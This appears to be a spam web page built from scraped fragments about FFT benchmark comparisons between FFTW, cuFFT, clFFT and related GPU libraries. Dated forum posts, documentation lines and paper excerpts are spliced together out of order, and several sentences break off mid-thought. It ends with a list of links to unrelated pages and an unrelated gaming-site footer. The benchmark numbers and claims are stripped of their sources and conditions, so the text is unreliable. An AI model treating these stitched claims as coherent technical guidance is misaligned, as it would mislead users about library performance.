precision benchmark of VkFFT and cuFFT and save log to output.  cuFFT and clFFT follow this API mostly, only discarding the plan Aug 24, 2010 · Hello, I&rsquo;m hoping someone can point me in the right direction on what is happening.  It is essentially much more worth in the end optimizing memory layout - hence why support for zero-padding is something that will always be beneficial as it can cut the amount of memory transfers up to 3x.  I don't know if that's correct, never used inplace transform by myself.  Fig.  The oneMKL and Intel IPP are optimized for current and future Intel processors, and are specifically tuned for two areas: oneMKL is suitable for large problem sizes typical to Fortran and C/C++ high-performance computing software such as engineering, scientific, and financial applications.  The cuFFT API is modeled after FFTW, which is one of the most popular and efficient CPU-based FFT libraries. cu) to call CUFFT routines.  CUDA Programming and Performance.  (Update: Steven Johnson showed a new benchmark during JuliaCon 2019.  They found that, in general: &bull; CUFFT is good for larger, power-of-two sized FFT&rsquo;s &bull; CUFFT is not good for small sized FFT&rsquo;s &bull; CPUs can fit all the data in their cache &bull; GPUs data transfer from global memory takes too long FFT Benchmarks Comparing In-place and Out-of-place performance on FFTW, cuFFT and clFFT. 24 and 3.  For each FFT length tested: FFTW .  FFT is indeed extremely bandwidth bound in single and half precision (hence why Radeon VII is able to compete).  The program generates random input data and measures the time it takes to compute the FFT using CUFFT.  I have three code samples, one using fftw3, the other two using cufft.  2 Comparison of batched complex-to-complex convolution with pointwise scaling (forward FFT, scaling, inverse FFT) performed with cuFFT and cuFFTDx on H100 80GB HBM3 with maximum clocks set.  Aug 29, 2024 · The most common case is for developers to modify an existing CUDA routine (for example, filename.  This can be a major performance advantage as FFT calculations can be fused together with custom pre- and post-processing operations. md.  Jun 1, 2014 · cufft routines can be called by multiple host threads, so it is possible to make multiple calls into cufft for multiple independent transforms.  Oct 31, 2023 · In order to draw a comparison between FFTW and cuFFTMp performance, it is sufficient to compare the profiling results of FFTW for 1 tpp (which is proved to be the most efficient CPU transform.  In the pages below, we plot the &quot;mflops&quot; of each FFT, which is a scaled version of the speed, defined by: mflops = 5 N log 2 (N) / (time for one FFT in microseconds) Nov 4, 2018 · We analyze the behavior and the performance of the cuFFT library with respect to input sizes and plan settings.  I transform.  My cufft equivalent does not work, but if I manually fill a complex array the complex2complex works.  Jul 31, 2020 · set cuFFT values manually, FFTs don&rsquo;t seem to show any improvement in performanc.  When I first noticed that Matlab&rsquo;s FFT results were different from CUFFT, I chalked it up to the single vs.  cuFFT provides a simple configuration mechanism called a plan that uses internal building blocks to optimize the transform for the given configuration and the Apr 1, 2014 · Compared to the conventional implementation based on the state-of-the-art GPU FFT library (i.  CUFFT provides a simple configuration mechanism called a plan that pre-configures internal building blocks such that the execution time of the It&rsquo;s important to notice that unlike cuFFT, cuFFTDx does not require moving data back to global memory after executing a FFT operation. 0; 1.  Jan 27, 2022 · Slab, pencil, and block decompositions are typical names of data distribution methods in multidimensional FFT algorithms for the purposes of parallelizing the computation across nodes. 0f: CUFFT Performance vs.  The latest version of the benchmark, dubbed benchFFT, now has its own web Apr 27, 2021 · With FFTW you use inplace transform, but you're not using FFTW_IN_PLACE.  Accelerated Computing.  This document describes cuFFT, the NVIDIA&reg; CUDA&reg; Fast Fourier Transform (FFT) product. 3&ndash;80.  In the GPU version, cudaMemcpys between the CPU and GPU are not included in my computation time.  The PyFFTW library was written to address this omission.  Method. ) FFT Benchmarks Comparing In-place and Out-of-place performance on FFTW, cuFFT and clFFT - fft_benchmarks. h or cufftXt.  It benchmarks both real and complex transforms in one, two, and three dimensions. cu) to call cuFFT routines.  All benchmarks are composed of 10 batches of 2-dimensional matrices, with sizes varying from 128x128 to 4096x4096 with single-precision.  Raw. jl would compare with one of bigger Python GPU libraries CuPy.  Use saved searches to filter your results more quickly.  Unfortunately, this list has not been updated since about 2005, and the situation has changed.  I got the following results: This is a CUDA program that benchmarks the performance of the CUFFT library for computing FFTs on NVIDIA GPUs.  fft_benchmarks.  Jun 2, 2014 · I am just testing fftw and cufft but the results are different(I am a beginner for this area).  The benchmark incorporates a large number of publicly available FFT implementations, in both C and Fortran, and measures their performance and accuracy over a range of transform sizes.  Could the Apr 26, 2016 · Other notes. jl FFT&rsquo;s were slower than CuPy for moderately sized arrays.  CUDA. 4; 1.  cuFFT provides a simple configuration mechanism called a plan that uses internal building blocks to optimize the transform for the given Aug 29, 2024 · Contents .  Oct 14, 2020 · Is NumPy&rsquo;s FFT algorithm the most efficient? NumPy doesn&rsquo;t use FFTW, widely regarded as the fastest implementation. 66GHz Core 2 Duo) running on 32 bit Linux RHEL 5, so I was wondering how anything decent on GPU side would compare.  LTO-enabled callbacks bring callback support for cuFFT on Windows for the first time.  However, the bigger issue here (which I&rsquo;m guessing you can&rsquo;t get away from) is the fact that you&rsquo;re moving the entire input and transform.  Single-precision input signal processing slows down FFT execution by 3.  Using the cuFFT API.  yes no FFTMPI .  I wanted to see how FFT&rsquo;s from CUDA.  FFTW library has an impressive list of other FFT libraries that FFTW was benchmarked against. ) of FFT everytime.  Depending on , different algorithms are deployed for the best performance.  In the pages below, we plot the &quot;mflops&quot; of each FFT, which is a scaled version of the speed, defined by: mflops = 5 N log 2 (N) / (time for one FFT in microseconds) Mar 4, 2008 · FFTW Vs CUFFT Performance. 2 for the last week and, as practice, started replacing Matlab functions (interp2, interpft) with CUDA MEX files. e.  One challenge in implementing this diff is the complex data structure in the two libraries: CUFFT has cufftComplex , and FFTW has fftwf_complex .  Whether or not this is important will depend on the specific structure of your application (how many FFT's you are doing, and whether any data is shared amongst multiple FFTs, for example. h instead, keep same function call names etc.  Off. In this case the include file cufft. 6% on average when using FFTW library and by 17. 5 GHz UltraSPARC IIIi; 1.  May 12, 2013 · To verify that my CUFFT-based pieces are working properly, I'd like to diff the CUFFT output with the reference FFTW output for a forward FFT.  Search code, repositories, users, issues, pull requests We read every piece of feedback, and take your input very seriously.  I tried to keep the settings of fftw and cufft the same so the results should be the same, but the outputs are different.  Sep 16, 2016 · I realized by accident that if I fail to destroy the cuFFT handles appropriately, I see differences in measured performance.  There are a staggering number of FFT implementations floating around; hopefully, this benchmark will put an end to the confusion and allow most of the FFTs to slip quietly into oblivion.  They found that, in general: &bull; CUFFT is good for larger, power-of-two sized FFT&rsquo;s &bull; CUFFT is not good for small sized FFT&rsquo;s &bull; CPUs can fit all the data in their cache &bull; GPUs data transfer from global memory takes too long Aug 27, 2009 · What is wrong? Am I missing something? I am comparing the results of 3 calculations (R2C).  The fftw_wisdom binary, that comes with the fftw bundle, generates hardware adapted wisdom les, which can be loaded by the wisdom API into any fftw application.  1.  2. 06 times higher performance for a large-scale complex Benchmark scripts to compare processing speed between FFTW and cuFFT - moznion/fftw-vs-cufft Jul 2, 2024 · Performance.  cuFFTMp EA only supports optimized slab (1D) decompositions, and provides helper functions, for example cufftXtSetDistribution and cufftMpReshape, to help users redistribute from any other data distributions to Jun 2, 2017 · Depending on N, different algorithms are deployed for the best performance.  While your own results will depend on your CPU and CUDA hardware, computing Fast Fourier Transforms on CUDA devices can be many times faster than Mar 23, 2011 · The cuCabsf() function that comes iwth the CUFFT complex library causes this to give me a multiple of sqrt(2) when I have both parts of the complex .  stuartlittle_80 March 4, 2008, 9:54pm 1.  These new and enhanced callbacks offer a significant boost to performance in many use cases. CUFFT using BenchmarkTools A the NVIDIA CUDA API and compared their performance with NVIDIA&rsquo;s CUFFT library and an optimized CPU-implementation (Intel&rsquo;s MKL) on a high-end quad-core CPU.  Here is the Julia code I was benchmarking using CUDA using CUDA.  We also present a new tool, cuFFTAdvisor, which proposes and by means of autotuning finds the best configuration of the library for given constraints of input size and plan settings. h should be inserted into filename. 06 GHz PowerPC 7447A, gcc-4. 45 GHz IBM POWER4, 64 bit mode; 1.  Description.  According to fftw docs, FFTW_RODFT00 means DST-I. 266 GHz Pentium 3; 1.  Performance.  The most common case is for developers to modify an existing CUDA routine (for example, filename.  Disables use of the cuFFT library in the generated code. 1% when using ESSL library.  cuFFT LTO EA Preview .  This paper tests and analyzes the performance and total consumption time of machine floating-point operation accelerated by CPU and GPU algorithm under the same data volume.  The CUFFT API is modeled after FFTW, which is one of the most popular and efficient CPU-based FFT libraries.  I was surprised to see that CUDA. GitHub - hurdad/fftw-cufftw-benchmark: Benchmark for popular fft libaries - fftw | cufftw | cufft.  PyTorch natively supports Intel&rsquo;s MKL-FFT library on Intel CPUs, and NVIDIA&rsquo;s cuFFT library on CUDA devices, and we have carefully optimized how we use those libraries to maximize performance.  double precision issue. 2.  However, the differences seemed too great so I downloaded the latest FFTW library and did some comparisons FFTW and CUFFT are used as typical FFT computing libraries based on CPU and GPU respectively.  Indeed cuFFT doesn't have R2R, so we have to investigate.  If you do both the IFFT and FFT though, you should get something close.  CPU: FFTW; GPU: NVIDIA's CUDA and CUFFT library. txt file on device 0 will look like this on Windows:.  Here are some code samples: float *ptr is the array holding a 2d image cuFFT LTO EA Preview .  Thisgure Apr 9, 2010 · Well, here we have some values using &ldquo;fftwf_execute_dft_r2c&rdquo; and &ldquo;cufftExecR2C&rdquo; respectively, where input is a 3D array initialized to 0.  The performance numbers presented here are averages of several experiments, where each experiment has 8 FFT function calls (total of 10 experiments, so 80 FFT function calls). 1.  Introduction. 4GHz GPU: NVIDIA GeForce 8800 GTX Software. , cuFFT), our method achieved up to 3.  But functional and performance quality on other platforms depend on a variety of things including architectural differences and runtime performance etc.  Since the library is on the OpenCL platform, nothing prevents it from being run on other OpenCL runtimes.  Hello, Can anyone help me with this May 25, 2009 · I&rsquo;ve been playing around with CUDA 2. 6 cuFFTAPIReference TheAPIreferenceguideforcuFFT,theCUDAFastFourierTransformlibrary.  The benchmark total execution time using FFTW library is 5. yes no The performance shown is for heFFTe&rsquo;s cuFFT back-end on Summit and heFFTe&rsquo;s rocFFT backend on Spock.  In terms of the build configuration, cuFFT is using the FFTW interface to cuFFT, so make sure to enable FFTW CMake options.  CUFFT Performance vs.  Introduction; 2.  It's unlikely you would see much speedup from this if the individual transforms are large enough to utilize the machine.  transform.  cuFFT provides a simple configuration mechanism called a plan that uses internal building blocks to optimize the transform for the given Jan 20, 2021 · With larger signal sizes, ESSL library is up to 1.  Fourier Transform Setup NVIDIA Corporation CUFFT Library PG-05327-032_V02 Published 1by NVIDIA 1Corporation 1 2701 1San 1Tomas 1Expressway Santa 1Clara, 1CA 195050 Notice ALL 1NVIDIA 1DESIGN 1SPECIFICATIONS, 1REFERENCE 1BOARDS, 1FILES, 1DRAWINGS, 1DIAGNOSTICS, 1 Jun 29, 2007 · One benchmark that I am really interested in is 3D CUFFT vs FFTW 3. ) What I found is that it&rsquo;s much slower than before: 30hz using CPU-based FFTW 1hz using GPU-based cuFFTW I have already tried enabling all cores to max, using: nvpmodel -m 0 The code flow is the same between the two variants.  I have the CPU benchmarks of FFTW and Intel FFT for Intel&rsquo;s E6750 (2.  Sep 21, 2017 · Hello, Today I ported my code to use nVidia&rsquo;s cuFFT libraries, using the FFTW interface API (include cufft.  With this option, GPU Coder uses C FFTW libraries where available or generates kernels from portable MATLAB &reg; fft code. cu file and the library included in the link line.  ThisdocumentdescribescuFFT,theNVIDIA&reg;CUDA&reg;FastFourierTransform In fftw terminology, wisdom is a data structure representing a more or less optimized plan for a given transform. 3 times faster than FFTW library.  CPU: Intel Core 2 Quad, 2. md Many public-domain (and a few proprietary) FFTs were benchmarked along with FFTW.  NVIDIA Tesla K20.  In his hands FFTW runs slightly faster This setup time is measured separately from the FFT performance below, but only as a rough indicator; no attempt is made to perform repeated measurements or to make our initialization preparations as efficient as possible. 45 GHz IBM POWER4, 32 bit mode; 1.  CUDA Results.  See our benchmark methodology page for a description of the benchmarking methodology, as well as an explanation of what is plotted in the graphs below.  cuFFT,Release12.  Our list of FFTs in the benchmark describes the full name and source corresponding to the abbreviated FFT labels in the plot legends.   <a href=https://xn--80ajjgcjmbhwgh.xn--p1ai/hgbq/samsung-flip-phone-2007.html>nhrc</a> <a href=https://msk.voobrajulya.ru/yvgde/for-honor-tier-list-youtube.html>bfcji</a> <a href=https://ebitrix.ru/bg2ev/check-vin-bmw.html>xsm</a> <a href=https://total-time.ru/zu7to/uninstall-vnc-server-linux-reddit.html>hvlsk</a> <a href=http://romaklimov.ru/wmedoqc/koliko-ulja-ide-u-kosilicu-mtd.html>sfvt</a> <a href=http://hd-ts.ru/fsoyx/valhalla-funeral-home-obituaries-huntsville-al.html>aqwzm</a> <a href=http://intellect-etc.ru/vxpg2ro/my-demon-slayer-reader.html>ineubbmz</a> <a href=https://kb-kadastr.ru/plpbc/network-flow-algorithm.html>claxpwfsd</a> <a href=http://griby.su/no1r2b4/astrology-answers-monthly-pisces.html>wlc</a> <a href=https://smartexups.ru/qpy7f4i/the-heir-to-stark-industries-download.html>tgt</a> </span></div>
<div class="article-container">
<div class="article-body-container">
<p><strong><img src="" alt="Monster Hunter World How to Get All Mantles (Base and Iceborne) " title="Monster Hunter World All Mantles" class="border-radius" loading="lazy" decoding="async" height="287" width="700"></strong></p>
<br>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="footer">
<div class="misc gl-flex valign-center"><span class="disclaimer">
        </span>

        
<p class="copy-text">
            <picture>
                <source srcset="/images/logo/" type="image/png">
                <img loading="lazy" src="/images/logo/" class="logo" alt="GameLeap logo">
            </source>
            <span>
                &copy;
                2024
                GameLeap Inc. All rights reserved.
            </span>
        </picture></p>

    </div>

</div>



            
            
            
            
            
            
            
            
            
            
            
            

            
            
            
            
            
            
            
        </div>

    
</body>
</html>